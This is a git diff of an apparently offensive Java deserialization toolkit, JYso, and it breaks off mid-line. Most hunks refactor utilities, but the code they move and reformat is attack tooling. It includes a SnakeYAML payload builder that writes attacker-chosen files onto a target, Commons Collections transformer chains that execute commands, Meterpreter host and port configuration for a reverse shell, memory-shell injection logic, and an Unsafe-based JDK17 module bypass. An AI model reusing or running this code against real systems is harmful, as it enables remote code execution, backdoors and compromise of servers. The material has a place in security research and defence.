a/src/main/java/com/qi4l/JYso/gadgets/utils/SnakeYamlUtils.java +++ /dev/null @@ -1,60 +0,0 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.io.*; -import java.util.zip.Deflater; - -import static com.qi4l.JYso.gadgets.utils.Util.base64Encode; - -/** - * SnakeYaml 写入 Jar 包 poc 生成工具类 - * - * @author QI4L - */ -public class SnakeYamlUtils { - public static String createPoC(String srcPath, String destPath) throws Exception { - - File file = new File(srcPath); - long FileLength = file.length(); - byte[] FileContent = new byte[(int) FileLength]; - try { - FileInputStream in = new FileInputStream(file); - in.read(FileContent); - in.close(); - } catch (FileNotFoundException e) { - e.printStackTrace(); - } - byte[] compressBytes = compress(FileContent); - return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + base64Encode(compressBytes) + " },1048576]]"; - } - - public static byte[] compress(byte[] data) { - byte[] output = new byte[0]; - - Deflater compresser = new Deflater(); - - compresser.reset(); - compresser.setInput(data); - compresser.finish(); - ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); - try { - byte[] buf = new byte[1024]; - while (!compresser.finished()) { - int i = compresser.deflate(buf); - bos.write(buf, 0, i); - } - output = bos.toByteArray(); - } catch (Exception e) { - output = data; - e.printStackTrace(); - } finally { - try { - bos.close(); - } catch (IOException e) { - e.printStackTrace(); - } - } - compresser.end(); - return output; - } - -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java index 26715b4..25dda4f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java @@ -1,12 +1,15 @@ package com.qi4l.JYso.gadgets.utils; -import java.util.*; +import java.util.Arrays; +import java.util.Comparator; +import java.util.LinkedList; +import java.util.List; public class StringUtil { public static String join(Iterable strings, String sep, String prefix, String suffix) { - final StringBuilder sb = new StringBuilder(); - boolean first = true; + final StringBuilder sb = new StringBuilder(); + boolean first = true; for (String s : strings) { if (!first) sb.append(sep); if (prefix != null) sb.append(prefix); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Util.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Util.java deleted file mode 100644 index c452949..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Util.java +++ /dev/null @@ -1,181 +0,0 @@ -package com.qi4l.JYso.gadgets.utils; - -import com.qi4l.JYso.template.echoStatic.Meterpreter; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.InputStream; -import java.io.ObjectOutputStream; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.Random; - -public class Util { - public static String getRandomString() { - String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < 10; i++) { - char ch = str.charAt(new Random().nextInt(str.length())); - sb.append(ch); - } - return sb.toString(); - } - - public static String getClassCode(Class clazz) throws Exception { - byte[] bytes = null; - if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) { - bytes = ClassByteChange.update(Meterpreter.class); - - } else { - bytes = getClassBytes(clazz); - } - - - String result = Util.base64Encode(bytes); - - return result; - } - - public static String getClassType(byte[] bytes) throws Exception { - String result = Util.base64Encode(bytes); - return result; - } - - public static byte[] getClassBytes(Class clazz) throws Exception { - String className = clazz.getName(); - String resoucePath = className.replaceAll("\\.", "/") + ".class"; - InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); - byte[] bytes = new byte[1024]; - ByteArrayOutputStream baous = new ByteArrayOutputStream(); - int len = 0; - while ((len = in.read(bytes)) != -1) { - baous.write(bytes, 0, len); - } - - in.close(); - baous.close(); - - return baous.toByteArray(); - } - - public static String base64Encode(byte[] bytes) throws Exception { - String result; - - try { - Class clazz = Class.forName("java.util.Base64"); - Method method = clazz.getDeclaredMethod("getEncoder"); - Object obj = method.invoke(null); - method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); - obj = method.invoke(obj, bytes); - result = (String) obj; - } catch (ClassNotFoundException e) { - Class clazz = Class.forName("sun.misc.BASE64Encoder"); - Method method = clazz.getMethod("encodeBuffer", byte[].class); - Object obj = method.invoke(clazz.newInstance(), bytes); - result = (String) obj; - result = result.replaceAll("\r|\n|\r\n", ""); - } - - return result; - } - - public static byte[] base64Decode(String str) throws Exception { - byte[] bytes; - - try { - Class clazz = java.lang.Class.forName("java.util.Base64"); - Method method = clazz.getDeclaredMethod("getDecoder"); - Object obj = method.invoke(null); - method = obj.getClass().getDeclaredMethod("decode", String.class); - obj = method.invoke(obj, str); - bytes = (byte[]) obj; - } catch (ClassNotFoundException e) { - Class clazz = java.lang.Class.forName("sun.misc.BASE64Decoder"); - Method method = clazz.getMethod("decodeBuffer", String.class); - Object obj = method.invoke(clazz.newInstance(), str); - bytes = (byte[]) obj; - } - - return bytes; - } - - public static String shellBase64Decode(String bs) throws Exception { - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } - } - - return new String(value); - } - - public static byte[] serialize(Object ref) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ObjectOutputStream objOut = new ObjectOutputStream(out); - objOut.writeObject(ref); - return out.toByteArray(); - } - - public static String getCmdFromBase(String base) throws Exception { - int firstIndex = base.lastIndexOf("/"); - String cmd = base.substring(firstIndex + 1); - - int secondIndex = base.lastIndexOf("/", firstIndex - 1); - if (secondIndex < 0) { - secondIndex = 0; - } - - if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) { - byte[] bytes = Util.base64Decode(cmd); - cmd = new String(bytes); - } - - return cmd; - } - - public static String[] getIPAndPortFromBase(String base) throws NumberFormatException { - int firstIndex = base.lastIndexOf("/"); - String port = base.substring(firstIndex + 1); - - int secondIndex = base.lastIndexOf("/", firstIndex - 1); - if (secondIndex < 0) { - secondIndex = 0; - } - - String ip = base.substring(secondIndex + 1, firstIndex); - return new String[]{ip, Integer.parseInt(port) + ""}; - } - - public static Class getMeterpreter(Class clazz, String host, String port) throws NoSuchFieldException, IllegalAccessException { - Field hostField = clazz.getField("host"); -// hostField.setAccessible(true); - Field portField = clazz.getField("port"); -// portField.setAccessible(true); - hostField.set(null, host); - portField.set(null, port); - return clazz; - } - - - public static boolean isHave(String[] strs, String s) { - - /*此方法有两个参数,第一个是要查找的字符串数组,第二个是要查找的字符或字符串*/ - int i = strs.length; - while (i-- > 0) { - if (strs[i] == s) { - return true; - } - } - return false; - } - -} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java index cea2ed7..252e44a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java @@ -1,5 +1,6 @@ package com.qi4l.JYso.gadgets.utils; +import com.qi4l.JYso.template.echoStatic.Meterpreter; import com.sun.org.apache.bcel.internal.classfile.Utility; import javassist.CannotCompileException; import javassist.ClassPool; @@ -7,12 +8,12 @@ import javassist.CtClass; import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang.StringUtils; -import java.io.ByteArrayOutputStream; -import java.io.File; -import java.io.FileOutputStream; +import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Proxy; +import java.util.Random; +import java.util.zip.Deflater; import java.util.zip.GZIPOutputStream; import static com.qi4l.JYso.gadgets.Config.Config.*; @@ -22,10 +23,10 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; public class Utils { - public static Class makeClass(String clazzName) { + public static Class makeClass(String clazzName) { ClassPool classPool = ClassPool.getDefault(); - CtClass ctClass = classPool.makeClass(clazzName); - Class clazz = null; + CtClass ctClass = classPool.makeClass(clazzName); + Class clazz; try { clazz = ctClass.toClass(); } catch (CannotCompileException e) { @@ -36,16 +37,15 @@ public class Utils { } public static String[] handlerCommand(String command) { - String info = command.split("[-]")[1]; - int index = info.indexOf("#"); - String par1 = info.substring(0, index); - String par2 = info.substring(index + 1); + String info = command.split("-")[1]; + int index = info.indexOf("#"); + String par1 = info.substring(0, index); + String par2 = info.substring(index + 1); return new String[]{par1, par2}; } - public static String base64Decode(String bs) throws Exception { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); @@ -60,7 +60,10 @@ public class Utils { } } - return new String(value); + if (value != null) { + return new String(value); + } + return bs; } public static void saveCtClassToFile(CtClass ctClass) throws Exception { @@ -80,14 +83,14 @@ public class Utils { public static void loadClassTest(byte[] classBytes, String className) throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); + Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); method.setAccessible(true); - Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); + Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); try { clazz.newInstance(); } catch (Exception ignored) { - Class unsafe = Class.forName("sun.misc.Unsafe"); + Class unsafe = Class.forName("sun.misc.Unsafe"); Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Object unsafeObject = theUnsafeField.get(null); @@ -110,34 +113,34 @@ public class Utils { public static CtClass encapsulationByClassLoaderTemplate(byte[] bytes) throws Exception { CtClass ctClass = POOL.get("com.qi4l.JYso.template.ClassLoaderTemplate"); ctClass.setName(generateClassName()); - ByteArrayOutputStream outBuf = new ByteArrayOutputStream(); - GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf); + ByteArrayOutputStream outBuf = new ByteArrayOutputStream(); + GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf); gzipOutputStream.write(bytes); gzipOutputStream.close(); String b64 = Base64.encodeBase64String(outBuf.toByteArray()); // 如果 b64 的长度比较大,则将其切分为多个字符串进行拼接,避免单个字符串过长 - String code = ""; + StringBuilder code = new StringBuilder(); if (b64.length() > 60000) { String[] arrays = splitString(b64, 60000); for (int i = 0; i < arrays.length; i++) { if (i == 0) { - code += "b64=\"" + arrays[0] + "\";\n"; + code.append("b64=\"").append(arrays[0]).append("\";\n"); } else { - code += "b64 +=\"" + arrays[i] + "\";\n"; + code.append("b64 +=\"").append(arrays[i]).append("\";\n"); } } } else { - code += "b64=\"" + b64 + "\";\n"; + code.append("b64=\"").append(b64).append("\";\n"); } // 将赋值的代码插入到 ClassLoaderTemplate 中 - insertMethod(ctClass, "initClassBytes", code); + insertMethod(ctClass, "initClassBytes", code.toString()); return ctClass; } public static void writeClassToFile(String fileName, byte[] classBytes) throws Exception { - File file = new File(fileName.replace(".", File.separator) + ".class"); + File file = new File(fileName.replace(".", File.separator) + ".class"); File parentDir = file.getParentFile(); if (!parentDir.exists()) { if (!parentDir.mkdirs()) { @@ -155,10 +158,10 @@ public class Utils { if (str == null || str.isEmpty() || chunkSize <= 0) { return null; } - int len = str.length(); - int arrayLen = (len + chunkSize - 1) / chunkSize; - String[] result = new String[arrayLen]; - int k = 0; + int len = str.length(); + int arrayLen = (len + chunkSize - 1) / chunkSize; + String[] result = new String[arrayLen]; + int k = 0; for (int i = 0; i < len; i += chunkSize) { int endIndex = Math.min(i + chunkSize, len); result[k++] = str.substring(i, endIndex); @@ -166,8 +169,8 @@ public class Utils { return result; } - public static String base64Encode(byte[] bs) throws Exception { - Class base64; + public static String base64Encode(byte[] bs) { + Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); @@ -178,11 +181,139 @@ public class Utils { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); - } catch (Exception e2) { + } catch (Exception ignored) { } } return value; } + public static String getRandomString() { + String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < 10; i++) { + char ch = str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + public static String getClassCode(Class clazz) throws Exception { + byte[] bytes; + if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) { + bytes = ClassByteChange.update(Meterpreter.class); + + } else { + bytes = getClassBytes(clazz); + } + + + return base64Encode(bytes); + } + + public static byte[] getClassBytes(Class clazz) throws Exception { + String className = clazz.getName(); + String resourcePath = className.replaceAll("\\.", "/") + ".class"; + InputStream in = Utils.class.getProtectionDomain().getClassLoader().getResourceAsStream(resourcePath); + if (in != null) { + return getBytes(in); + } + return new byte[0]; + } + + static byte[] getBytes(InputStream in) throws IOException { + byte[] bytes = new byte[1024]; + ByteArrayOutputStream bayous = new ByteArrayOutputStream(); + int len; + while ((len = in.read(bytes)) != -1) { + bayous.write(bytes, 0, len); + } + + in.close(); + bayous.close(); + + return bayous.toByteArray(); + } + + public static byte[] serialize(Object ref) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(ref); + return out.toByteArray(); + } + + public static String getCmdFromBase(String base) throws Exception { + int firstIndex = base.lastIndexOf("/"); + String cmd = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) { + byte[] bytes = base64Decode(cmd).getBytes(); + cmd = new String(bytes); + } + + return cmd; + } + + public static String[] getIPAndPortFromBase(String base) throws NumberFormatException { + int firstIndex = base.lastIndexOf("/"); + String port = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + String ip = base.substring(secondIndex + 1, firstIndex); + return new String[]{ip, Integer.parseInt(port) + ""}; + } + + public static String createPoC(String srcPath, String destPath) throws Exception { + + File file = new File(srcPath); + long FileLength = file.length(); + byte[] FileContent = new byte[(int) FileLength]; + try { + FileInputStream in = new FileInputStream(file); + in.read(FileContent); + in.close(); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + byte[] compressBytes = compress(FileContent); + return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + Utils.base64Encode(compressBytes) + " },1048576]]"; + } + + public static byte[] compress(byte[] data) { + byte[] output = new byte[0]; + + Deflater compresser = new Deflater(); + + compresser.reset(); + compresser.setInput(data); + compresser.finish(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); + try { + byte[] buf = new byte[1024]; + while (!compresser.finished()) { + int i = compresser.deflate(buf); + bos.write(buf, 0, i); + } + output = bos.toByteArray(); + } catch (Exception e) { + output = data; + e.printStackTrace(); + } finally { + try { + bos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + compresser.end(); + return output; + } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java index b7eb349..11ffee2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java @@ -21,7 +21,7 @@ public class TransformerUtil { public static Transformer[] makeTransformer(String command) throws Exception { Transformer[] transformers; - String[] execArgs = {command}; + String[] execArgs = {command}; if (command.startsWith("TS-")) { transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("[-]")[1] + "000")}),}; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java index 06ea1ec..3b748d0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java @@ -15,16 +15,14 @@ public class RandomString { * 26个小写字母 */ public static final String lower = upper.toLowerCase(Locale.ROOT); - - /** - * 数字 - */ - public static final String digits = "0123456789"; - /** * alphanum为26个大写字母+26个小写字母+10个数字。产生的随机字符串从此挑选字符生成 */ + public static final String digits = "0123456789"; public static final String alphanum = upper + lower + digits; + /** + * 数字 + */ private final Random random; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java index 4cbe49f..31bd116 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java @@ -25,7 +25,7 @@ public class ClassFieldHandler { public static String converString(String target) { if (Config.IS_OBSCURE) { StringBuilder result = new StringBuilder("new String(new byte[]{"); - byte[] bytes = target.getBytes(); + byte[] bytes = target.getBytes(); for (int i = 0; i < bytes.length; i++) { result.append(bytes[i]).append(","); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java index 897c974..ea3602f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java @@ -109,7 +109,7 @@ public class ClassMethodHandler { name = name.substring(name.lastIndexOf(".") + 1); // 大多数 SpringBoot 项目使用内置 Tomcat - boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); + boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); boolean isWebflux = name.contains("Webflux"); // 命令执行、各种内存马 @@ -279,8 +279,8 @@ public class ClassMethodHandler { */ public static String getMethodName(CtClass ctClass) throws Exception { List classes = new java.util.ArrayList(Arrays.asList(ctClass.getInterfaces())); - String name = ctClass.getName(); - String method = ""; + String name = ctClass.getName(); + String method = ""; classes.add(ctClass.getSuperclass()); for (CtClass value : classes) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java index 3e781bf..2d998af 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java @@ -70,8 +70,8 @@ public class ClassNameHandler { if (jarFile != null) { Enumeration jarEntries = jarFile.entries(); while (jarEntries.hasMoreElements()) { - JarEntry jarEntry = jarEntries.nextElement(); - String jarEntryName = jarEntry.getName(); + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); if (jarEntryName.endsWith(".class")) { String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); if (!className.contains("$") && className.startsWith(packageName)) { @@ -100,7 +100,7 @@ public class ClassNameHandler { listClassesInDirectory(file, classNames, packageName); } else if (file.getName().endsWith(".class")) { String fullName = file.getPath().replace(".class", ""); - String path = packageName.replace(".", "/"); + String path = packageName.replace(".", "/"); classNames.add(fullName.substring(fullName.replace("\\", "/").indexOf(path)).replace("/", ".")); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java index 1f97938..121440d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java @@ -14,8 +14,8 @@ import java.util.List; public class GlassHandler { public static CtClass generateClass(String target) throws Exception { - String newClassName = ClassNameHandler.generateClassName(); - CtClass ctClass = generateClass(target, newClassName); + String newClassName = ClassNameHandler.generateClassName(); + CtClass ctClass = generateClass(target, newClassName); // 如果需要,保存类文件 Utils.saveCtClassToFile(ctClass); @@ -28,9 +28,9 @@ public class GlassHandler { target = target.substring(3); // 内存马类型 - String shellType = ""; - String memShellName = ""; - Class memShellClazz = null; + String shellType = ""; + String memShellName = ""; + Class memShellClazz = null; // 如果命令以 MS 开头,则代表是注入内存马 if (target.startsWith("MS-")) { @@ -67,8 +67,8 @@ public class GlassHandler { // 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名 if (target.startsWith("LF-")) { target = target.substring(3); - String filePath = target.contains("-") ? target.split("[-]")[0] : target; - CtClass ctClass = Config.POOL.makeClass(new FileInputStream(filePath)); + String filePath = target.contains("-") ? target.split("[-]")[0] : target; + CtClass ctClass = Config.POOL.makeClass(new FileInputStream(filePath)); ctClass.setName(newClassName); // 对本地加载的类进行缩短操作 @@ -83,8 +83,8 @@ public class GlassHandler { public static CtClass generateClass(Class clazz, String shellType, String newClassName) throws Exception { - CtClass ctClass = null; - byte[] byteCodes = null; + CtClass ctClass = null; + byte[] byteCodes = null; String exClassName = clazz.getName(); ctClass = Config.POOL.get(exClassName); @@ -157,11 +157,11 @@ public class GlassHandler { public static void prepareMemoryJar(CtClass templateClass) throws Exception { // 首先将 SuURLConnection/SuURLStreamHandler 改名 - final String nameA = ClassNameHandler.searchClassByName("SuURLConnection"); + final String nameA = ClassNameHandler.searchClassByName("SuURLConnection"); final String newNameA = ClassNameHandler.generateClassName(); - final String nameB = ClassNameHandler.searchClassByName("SuURLStreamHandler"); + final String nameB = ClassNameHandler.searchClassByName("SuURLStreamHandler"); final String newNameB = ClassNameHandler.generateClassName(); - CtClass ctClassA = Config.POOL.get(nameA); + CtClass ctClassA = Config.POOL.get(nameA); ctClassA.setName(newNameA); CtClass ctClassB = Config.POOL.get(nameB); ctClassB.setName(newNameB); @@ -186,7 +186,7 @@ public class GlassHandler { public static void prepareClassModifier(CtClass templateClass, String hookType, String args) throws Exception { CtClass classModifier = Config.POOL.get(ClassNameHandler.searchClassByName("ClassModifier")); - String shell = ""; + String shell = ""; // 插入 Hook 点 if (hookType.equals("Servlet")) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java index b79688a..5e65b0b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java @@ -32,10 +32,24 @@ public class jdk17Bypass { return unsafe; } + public static void patchModule(Class clazz, Class goalclass) { + try { + Class UnsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) unsafeField.get(null); + Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); + Class currentClass = clazz; + long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); + unsafe.getAndSetObject(currentClass, addr, ObjectModule); + } catch (Exception e) { + } + } + public void bypassModule(ArrayList classes) { try { - Unsafe unsafe = getUnsafe(); - Class currentClass = this.getClass(); + Unsafe unsafe = getUnsafe(); + Class currentClass = this.getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); if (getModuleMethod != null) { @@ -50,18 +64,4 @@ public class jdk17Bypass { e.printStackTrace(); } } - - public static void patchModule(Class clazz, Class goalclass) { - try { - Class UnsafeClass = Class.forName("sun.misc.Unsafe"); - Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); - unsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) unsafeField.get(null); - Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); - Class currentClass = clazz; - long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); - unsafe.getAndSetObject(currentClass, addr, ObjectModule); - } catch (Exception e) { - } - } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java index 9aad0d0..39af658 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java @@ -19,7 +19,7 @@ public class Serialization { public Serialization() { try { ObjectOutputStream output = new ObjectOutputStream(new ByteOutputStream()); - Field f = output.getClass().getDeclaredField("handles"); + Field f = output.getClass().getDeclaredField("handles"); f.setAccessible(true); this.handle = f.get(output); } catch (Exception e) { @@ -117,8 +117,8 @@ public class Serialization { o.write(out, handles); } else { ByteArrayOutputStream byteout = new ByteArrayOutputStream(); - ObjectOutputStream objout = getPatchedOutputStream(byteout); - TCJavaObject o = new TCJavaObject(obj, byteout, objout); + ObjectOutputStream objout = getPatchedOutputStream(byteout); + TCJavaObject o = new TCJavaObject(obj, byteout, objout); o.write(out, handles); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java index d8480fb..3f0f024 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java @@ -43,8 +43,8 @@ public class TCClassDesc extends ReferencableObject implements SerializedElement } private long getSerialVersionUID() throws Exception { - Class cls = Class.forName(this.className); - java.lang.reflect.Field f = cls.getDeclaredField("serialVersionUID"); + Class cls = Class.forName(this.className); + java.lang.reflect.Field f = cls.getDeclaredField("serialVersionUID"); if (f == null) return -1L; f.setAccessible(true); @@ -53,7 +53,7 @@ public class TCClassDesc extends ReferencableObject implements SerializedElement private byte getClassDescFlags() throws Exception { Class cls = Class.forName(this.className); - byte b = 0; + byte b = 0; if (Serializable.class.isAssignableFrom(cls)) b = (byte) (b | 0x2); try { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java index 386d29f..ff91908 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java @@ -12,7 +12,7 @@ public class Util { } private static TCObject doMakeProxy(Class[] interfaces, Object handler, Serialization ser) throws Exception { - TCObject proxy = new TCObject(ser); + TCObject proxy = new TCObject(ser); TCProxyClassDesc proxyDesc = new TCProxyClassDesc(); for (Class intf : interfaces) proxyDesc.addInterface(intf); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java index 0e036c6..d2aed50 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java @@ -1,25 +1,25 @@ package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding; public class UTF8BytesMix { - final static byte TC_CLASSDESC = (byte) 0x72; + final static byte TC_CLASSDESC = (byte) 0x72; final static byte TC_PROXYCLASSDESC = (byte) 0x7d; - final static byte TC_STRING = (byte) 0x74; - final static byte TC_REFERENCE = (byte) 0x71; - final static byte TC_LONGSTRING = (byte) 0x7C; - final static byte TC_ARRAY = (byte) 0x75; - final static byte TC_ENDBLOCKDATA = (byte) 0x78; - final static byte TC_NULL = (byte) 0x70; - final static byte Byte = (byte) 0x42; - final static byte Char = (byte) 0x43; - final static byte Double = (byte) 0x44; - final static byte Float = (byte) 0x46; - final static byte Integer = (byte) 0x49; - final static byte Long = (byte) 0x4a; + final static byte TC_STRING = (byte) 0x74; + final static byte TC_REFERENCE = (byte) 0x71; + final static byte TC_LONGSTRING = (byte) 0x7C; + final static byte TC_ARRAY = (byte) 0x75; + final static byte TC_ENDBLOCKDATA = (byte) 0x78; + final static byte TC_NULL = (byte) 0x70; + final static byte Byte = (byte) 0x42; + final static byte Char = (byte) 0x43; + final static byte Double = (byte) 0x44; + final static byte Float = (byte) 0x46; + final static byte Integer = (byte) 0x49; + final static byte Long = (byte) 0x4a; final static byte Object_L = (byte) 0x4c; - final static byte Short = (byte) 0x53; - final static byte Boolean = (byte) 0x5a; - final static byte Array = (byte) 0x5b; - public static byte[] resultBytes = new byte[0]; + final static byte Short = (byte) 0x53; + final static byte Boolean = (byte) 0x5a; + final static byte Array = (byte) 0x5b; + public static byte[] resultBytes = new byte[0]; public static byte[] originalBytes = new byte[0]; // 加密字节位数 public static int type = 2; //3 @@ -62,7 +62,7 @@ public class UTF8BytesMix { index++; } - int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 